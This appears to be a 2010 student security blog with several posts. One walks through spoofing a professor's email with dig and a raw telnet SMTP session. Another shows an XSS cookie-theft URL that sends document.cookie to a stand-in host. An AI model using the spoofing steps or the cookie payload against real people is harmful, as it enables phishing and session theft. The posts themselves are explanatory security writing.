Mac Hacker Interview

Today, thanks to Technocrat, I read an awesome interview with two of my hacking idols: Charlie Miller and Dino Dai Zovi. Read it.


Things I liked/found interesting:

• Mac security is far from perfect
• Google Chrome is good
• Education is good—the good guys need to know. Bad guys tend to already know.
• Apple needs to treat researchers better
• Apple's security (like everyone else's) depends on how much it will protect their wallet.
• "As for whether I have an exploit in my pocket, a gentleman doesn't discuss such things, but I'm not a gentleman, so yes." - Charlie
• These guys are smart

Russian Doll URL Shortening

Attackers have been hiding malicious URLs using shortening services like TinyURL or bit.ly for some time now. Some smarter folks, however, have plugins that automatically resolve shortened URL's for them.

For a little extra umph, what if the attacker shortened an already shortened URL? I wonder how many of these tools are prepared to unravel a chain of shortened URLs.

I haven't seen this technique yet, so hopefully I'm the inventor and everyone will call it "Russian Dolling."

p.s. On an only slightly related note, does anyone know of any services that let you edit the target URL afterwards? If so, you could create a loop in shortened URLs. That would be awesome.

UPDATE:
Diogo Mónica notified me that he has seen such attacks in the wild, and there are tools that can handle it. While not surprising in the least, I must admit I am still a little disappointed it won't be named Russian Dolling. Alas.

Diogo also pointed out that loops are possible using services such as ow.ly. Such as this one  http://ow.ly/3VcCy. Don't use bit.ly though, because it will warn you of encapsulation. Be sure to check out Diogo's blog if you get the chance, it's awesome.

Apple_Security++

Recent hires by Apple reveal an increasing emphasis on security. The rise of mac malware, botnets, and research in mobile attacks indicate the need for Apple to take security seriously. Genius hackers like Charlie Miller and Dino Dai Zovi have already been researching Mac vulnerabilities for some time now, and many more are on the way. Hopefully this influx will introduce more tools. Good tools are already available—IDA Pro was recently released natively for OS X—but we need more freely available tools to fuel research and open the doors to more researchers (such as poor students like myself). OS X needs tools like OllyDbg and Immunity debugger. Paterva needs to hurry up—I can't wait any longer. It's an exciting time to be a Mac. Let the fun begin.

Unfriending

For the past several months I've been whittling away at my Facebook friends, slowly removing superfluous relationships. I since have removed over 400 friends. It was difficult at first; I enjoyed appearing popular and didn't want to offend anyone. However, with a little practice it becomes easy—and almost addictive. I don't feel like vomiting every time I visit Facebook anymore: there's less clutter, no more struggling to put names with faces, hiding nuisances from my feed, or avoiding people.

In addition, I've realized that unfriending has another very important benefit—a security one. Each friend you add introduces risk: you have bound your accounts together. If a friend's account is compromised, even with a "Friends Only" privacy policy, your information is exposed. Unfriending people you don't know well reduces your attack surface and keeps your exposed data safer.

Establish a circle of trust; just because you took a class together, attended the same school, or met at a party doesn't make you friends. Don't hesitate to ignore friend requests or remove people you don't communicate with. I've found purging my friend list to be incredibly refreshing and empowering: I spend less time on Facebook because I only see what I care about, and I can better maintain important relationships. You only have so much time and energy in this life—invest it in people that matter to you.

Scary Password Experiment

The Experiment

I pretty much use the same password for all of my non-essential accounts. Why? Because I really don't care if somebody breaks into my Pandora account and creates a Taylor Swift radio station, or posts as me on some obscure forum I used once; if I have no personal information on a website, it gets my universal password.

The other day I signed up for a mailing list, and was a little upset when I saw my universal password sent back to me in plaintext along with my username in an email. It's a poor practice that is definitely among my security pet peeves. So, I decided to try a little experiment: search for my password in my emails. I found nearly 20 offenders, which actually is less than I was expecting, but still 20 too many. A repeat offender was the GNU Mailman, meaning several mailing lists sent me my password in plaintext.

Try it with your passwords, see what shows up. Could be frightening.

What's wrong with this practice?

Firstly, I'm sure many people reuse those passwords with important accounts—and just because I don't reuse mine on non-important accounts doesn't mean I'd like somebody to break into all of them. There are many ways an attacker could find this email. Some of them might include:

1. sniffing unencrypted network traffic
2. sidejacking your email account
3. reading it over your shoulder

Once figuring out your password, the attacker would procede to try it on other websites you use and gain access to those accounts.

What can one do?

For starters, you could use different passwords for every site, which would quickly get out of control. A possible solution is to use some sort of password management software such as 1Password or Password Safe. But then the issue becomes portability—it becomes more difficult to access accounts from another machine when you had software generate and remember your passwords for you.

Another cool solution to passwords I ran into the other day is PwdHash by some Stanford students. It provides a way to transparently create domain specific passwords. It's pretty neat, check it out.

Unfortunately, such solutions do not solve the problem; having unique passwords on every website doesn't matter much if they are all emailed back to you. Sure it will make it so that an attacker can only get into one account per password, but they can still get in—which is kind of what a password is supposed to prevent in the first place. I don't need anyone to facilitate the breaking of my password, thank you very much.

So, because of poor design on part of some developers, you are vulnerable. Thanks, a lot. Worst of all you never know who will expose your password, and who won't. Although I can guarantee you one thing: Mailman will.

How to Spoof Email

I'm taking a computer security this class this semester. The teacher announced that students who have a high enough grade will have the option to "opt out" of the final. The students who would get this opportunity would receive an email from him.

Let's think about this for a minute.

Imagine you receive this email... yay! Right? Hold on a second. Unless you're using some sort of secure email, you really don't have any proof that email came from your professor. The purpose of this article is to show you how a malicious attacker with minimal know-how and a little social engineering could take advantage of you if you're not careful.

The first thing an attacker needs is your email address. This shouldn't be very hard, especially if your teacher has bad email practices. Imagine your professor sends emails out to the whole class with everyone in the "to:" or "cc:" fields. Whoops... everyone knows all the class emails. And if your email has your name in it, it's not very hard to put two and two together. Or perhaps your school makes your email address readily available to anyone who wants to know; my school has a directory that lists not just emails, but addresses and phone numbers! Most students don't know how to opt out of the directory. That's why it's earned itself the nickname "stalkernet." My class happens to use a google group, which is really just a mailing list. Go to a list of the members and voila—emails! All of these are ways in which somebody with bad intensions could get your email address.

Now that the attacker has your email address, they need to find your mail server. Let's say you use a gmail account—the attacker opens up a shell and uses dig to find a gmail mail server (bold text indicates user input).

$ dig MX gmail.com 

; <<>> DiG 9.6.0-APPLE-P2 <<>> MX gmail.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39505
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;gmail.com. IN MX

;; ANSWER SECTION:
gmail.com. 3469 IN MX 5 gmail-smtp-in.l.google.com.
gmail.com. 3469 IN MX 20 alt2.gmail-smtp-in.l.google.com.
gmail.com. 3469 IN MX 40 alt4.gmail-smtp-in.l.google.com.
gmail.com. 3469 IN MX 30 alt3.gmail-smtp-in.l.google.com.
gmail.com. 3469 IN MX 10 alt1.gmail-smtp-in.l.google.com.

;; Query time: 22 msec
;; SERVER: 10.0.1.1#53(10.0.1.1)
;; WHEN: Mon Dec 13 00:42:43 2010
;; MSG SIZE  rcvd: 150

By using the MX option, the attacker tells dig to look for mail servers associated with the gmail.com domain; dig responds by printing an answer section containing a list of mail servers the attacker can use. The attacker can use telnet to talk to the second mail server and send an email. Behold:

$ telnet gmail-smtp-in.l.google.com 25
Trying 74.125.155.27...
Connected to gmail-smtp-in.l.google.com.
Escape character is '^]'.
220 mx.google.com ESMTP 11si13911500yhl.88
HELO gmail-smtp-in.l.google.com
250 mx.google.com at your service
MAIL FROM:<bob.white@cs.harvard.edu>
250 2.1.0 OK 11si13911500yhl.88
RCPT TO:<student.email@gmail.com>  
250 2.1.5 OK 11si13911500yhl.88
DATA
354  Go ahead 11si13911500yhl.88
From: Bob White <bob.white@cs.harvard.com>
To: Your Name <student.email@gmail.com>
Subject:Final Exam
Hello Steve,
You've got a great grade! You don't need to come take the final. Enjoy your break!


Sincerely
-Professor White
.
250 2.0.0 OK 1292218738 11si13911500yhl.88
QUIT
221 2.0.0 closing connection 11si13911500yhl.88
Connection closed by foreign host.

The student at student.email@gmail.com will receive an email that looks exactly as if it had come from his or her professor, cs.harvard.edu email address and all!

Obviously the ability to spoof email has a lot more implications than just this. So, how do you defend against such attacks? One solution is to use secure email—either PGP or X.509 certificates and S/MIME. This is not a very viable option, however, because it requires that all parties involved use the services in order to gain any benefit, and currently it is quite the hassle to set up and use.

Your best bet? Send an email back to the professor, asking him to confirm the email (to be fair to my Professor, this was part of the opt-out process, I'm mostly just making this into a hypothetical situation). Even though they made the email look as if it came from your professor, a reply will go straight back to the real email address, which the attacker does not control. Admittedly,  the attacker might be able to intercept the email and spoof a reply, but that would be a much more complicated attack. It's just your grade, not military-grade secrets here.

So, the real key is to be aware that you can never be sure email comes from who it says it does, just like in real mail. As such, use good judgement and common sense.

DDoS - Democratic Denial of Service Attack?

Amidst the recent brouhaha surrounding wikileaks one thing has really caught my attention—the behavior of Anonymous.

Anonymous has made it easy for anyone to participate in their DoS attacks by distributing their software, LOIC (Low Orbit Ion Cannon). It gives you a cute user interface—all you do is type in an IP address and press the big button. Et, voila.

LOIC (Low Orbit Ion Cannon)

Personal feelings for Anonymous aside, I can't help but think it's a very democratic approach to DoS—illegal, obviously—but democratic. It's not just one person with a large botnet anymore, now if you get enough people angry they can attack.

I wonder what would happen if a more legitimate organization pushed such an effort. No one gives Anonymous much credibility (I guess you lose that when you spend your day on /b/ sharing porn and being a skript kiddie), but maybe a group with an actual face could be effective. Assuming that organization had a little bit more clout than Anonymous, they could really turn themselves into a weapon.

Maybe human-rights activists will use a tool like LOIC to take down the Nike website to protest sweat shops, or when people leave for a peace rally they'll leave LOIC-like software running on their machine, pointed towards a government website.

Will there be less physical protests and more cyber protests like this in the future? I'm thinking it will be difficult since such attacks are illegal; legitimate organizations won't be able to publicly support such attacks without facing prosecution. The system works well for Anonymous because they're, well... anonymous. Sure they're all real people, and being skript kiddies a lot of them could be easily hunted down, but since they don't have a legitimate face to their organization collectively they have nothing to lose.

Whatever the future holds, at least for now it appears as if groups desiring to launch such protests will have to do so without the banner of a legitimate organization. To be sure, however, this is only the beginning. Crazy things are to come.

Simple Ruby Cookie Catcher

So I've been playing around with some XSS the last couple days on Google Code Univerity's web security tutorial and it's pretty awesome. However, injecting <script>alert("xss!")</script> isn't quite as fun as actually stealing data.

So I did a quick google search for simple cookie catching scripts, only they were pretty much all in PHP. So I decided to whip up something quick in ruby. And so, without further ado...



There you go. The XSS script needs to make the browser issue an HTTP GET request to the ruby server; the url can look like anything, just include a '?' followed by a query string containing the desired data (like a cookie). The url I build looks like:

"http://blahblah.com:8080/hai?"+document.cookie

You can pass as much data in the query string as you'd like, and all the results are written out to cookiejar.txt.